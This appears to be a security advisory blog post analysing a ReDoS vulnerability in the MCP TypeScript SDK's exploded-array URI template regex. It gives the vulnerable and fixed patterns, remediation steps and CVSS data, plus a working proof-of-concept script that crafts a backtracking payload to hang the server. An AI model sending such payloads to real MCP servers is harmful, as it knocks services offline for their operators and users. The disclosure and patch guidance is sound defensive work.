Exploding Arrays: How a Regex Ate the Model Context Protocol
Jan 7, 2026·6 min read
Executive Summary (TL;DR)
The implementation of RFC 6570 'exploded array' patterns in the MCP TypeScript SDK uses a regex with nested quantifiers. By supplying a specially crafted URI with many comma-separated values, an attacker can trigger catastrophic backtracking, locking the Node.js event loop at 100% CPU usage and causing a complete Denial of Service.
A high-severity Regular Expression Denial of Service (ReDoS) vulnerability in the Anthropic Model Context Protocol (MCP) TypeScript SDK allows attackers to crash servers using crafted URI templates.
The Hook: When Standards Attack
The Model Context Protocol (MCP) is the new shiny standard connecting AI models to your data. It allows LLMs to talk to local files, GitHub repos, and database servers. But under the hood of any protocol lies the gritty reality of string parsing. Specifically, handling URIs. And if there is one thing developers hate more than time zones, it is strictly implementing RFCs.
The vulnerability lies in how the MCP TypeScript SDK handles RFC 6570 URI Templates. You know, those curly brace things like /users/{id}. The SDK attempts to convert these friendly templates into strict Regular Expressions to route requests. It works great, until you use a specific feature called Exploded Array Patterns (e.g., {/tags*}).
When the SDK tries to compile a regex for these exploded arrays, it generates a pattern so computationally expensive that a single malicious request can freeze the entire server. It's a classic case of "it worked on my machine" meeting the harsh reality of algorithmic complexity.
The Flaw: A Tale of Two Loops
The root cause is a textbook case of Catastrophic Backtracking (CWE-1333). The issue lives in typescript-sdk/src/shared/uriTemplate.ts inside the partToRegExp function. This function's job is to translate a template part into a regex capture group.
When encountering an exploded pattern (indicated by the asterisk *), the code needs to match a comma-separated list of values. The developer wrote a regex that looks innocent enough at first glance:
([^/]+(?:,[^/]+)*)Let's break down why this is dangerous. We have an outer group ([^/]+) matching one or more non-slash characters. Then we have a nested group (?:,[^/]+)* matching a comma followed by one or more non-slash characters. The problem is ambiguity.
Because [^/]+ encompasses the characters that could also appear after the comma, the regex engine has too many choices. If the input string is val1,val2,val3 followed by a character that makes the match fail (like a trailing slash), the engine panics. It tries to match val1,val2 with the first group and val3 with the second. Then it tries val1 with the first and val2,val3 with the second. As the input grows, the number of combinations grows exponentially ($O(2^n)$).
The Code: The Smoking Gun
Here is the vulnerable logic straight from the UriTemplate class. The intention was to support templates like {/ids*} which should expand to /id1,id2,id3.
The Vulnerable Implementation:
// In uriTemplate.ts
if (exploded) {
// Matches a list like: "a,b,c"
// Vulnerability: Nested quantifiers with overlapping character classes
pattern = "([^/]+(?:,[^/]+)*)";
}The Fix: To stop the bleeding, we need to remove the ambiguity. The fix ensures that the first part of the regex cannot gobble up the commas that belong to the second part. By explicitly excluding commas in the first character class, we force the engine down a linear path.
if (exploded) {
// Fixed: explicitly exclude commas in the first group
// This prevents the first group from consuming delimiters intended for the second
pattern = "([^/,]+(?:,[^/,]+)*)";
}It is a one-character change—adding a comma to the exclusion list [^/] becoming [^/,]—that saves the CPU from melting.
The Exploit: Locking the Event Loop
Since Node.js is single-threaded, if we block the event loop, we kill the server. No other requests get processed. Heartbeats fail. The application effectively dies.
To exploit this, we need an MCP server that exposes a resource using an exploded array template. Let's assume the server defines a resource template: /files{/path*}.
The Attack Payload: We construct a URI that matches the pattern successfully for a long time, but fails at the very end. This forces the regex engine to backtrack through every possible permutation of the comma placement.
// MCP-ReDoS-PoC.js
const { UriTemplate } = require('@modelcontextprotocol/sdk');
// 1. The Target: A template with an exploded array
const template = new UriTemplate('/users{/id*}');
// 2. The Weapon: A string that is almost valid, but fails at the end
// "user1,user2,..." repeated enough times to cause a significant delay.
// The trailing '/' forces the match to fail after consuming the whole string.
const payload = '/users/' + 'user1,user2,user3,'.repeat(25) + 'FAIL/';
console.log(`Payload length: ${payload.length}`);
console.log('Launching ReDoS attack...');
const start = process.hrtime();
// 3. The Impact: CPU goes to 100%, script hangs
try {
template.match(payload);
} catch (e) {
// We expect this to hang, not throw immediately
}
const end = process.hrtime(start);
console.log(`Execution time: ${end[0]}s ${end[1] / 1000000}ms`);Running this locally with a payload size of just a few kilobytes can cause the execution time to jump from milliseconds to seconds or minutes. In a production environment, sending a few concurrent requests like this results in a total denial of service.
The Impact: Why This Matters
This isn't just a theoretical bug. MCP is designed to be the connective tissue for AI agents. These agents are often exposed to untrusted input—URLs from users, data from third-party APIs, or instructions from other models.
If an attacker can feed a malicious URI to an AI agent using this SDK, they can silently kill the agent's ability to function. In a microservices architecture, this could cascade. If the MCP server processes requests synchronously, a single malicious packet takes down the interface for everyone.
Furthermore, because this is a CPU-exhaustion attack, typical rate limiting based on request count might not catch it immediately. One request is enough to do the damage.
The Fix: Upgrade or Patch
Anthropic has released a patch in versions greater than 1.25.1. The fix simply tightens the regex grammar to avoid the ambiguity.
Remediation Steps:
- Check your
package.jsonfor@modelcontextprotocol/sdk. - Run
npm update @modelcontextprotocol/sdkoryarn upgrade @modelcontextprotocol/sdk. - Verify you are on version
1.25.2or higher.
If you cannot update immediately, you can attempt to sanitize inputs before they reach the UriTemplate matching logic, specifically by limiting the length of URI segments or rejecting URIs with excessive commas, though patching the root cause is the only robust solution.
Official Patches
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
@modelcontextprotocol/sdk Anthropic | <= 1.25.1 | 1.25.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1333 (Inefficient Regular Expression Complexity) |
| CVSS v4.0 | 8.7 (High) |
| Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| EPSS Score | 0.00042 |
| Impact | Denial of Service (DoS) |
| Attack Vector | Network |
MITRE ATT&CK Mapping
The software uses a regular expression that can perform exponentially based on the input size, allowing an attacker to cause a Denial of Service.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.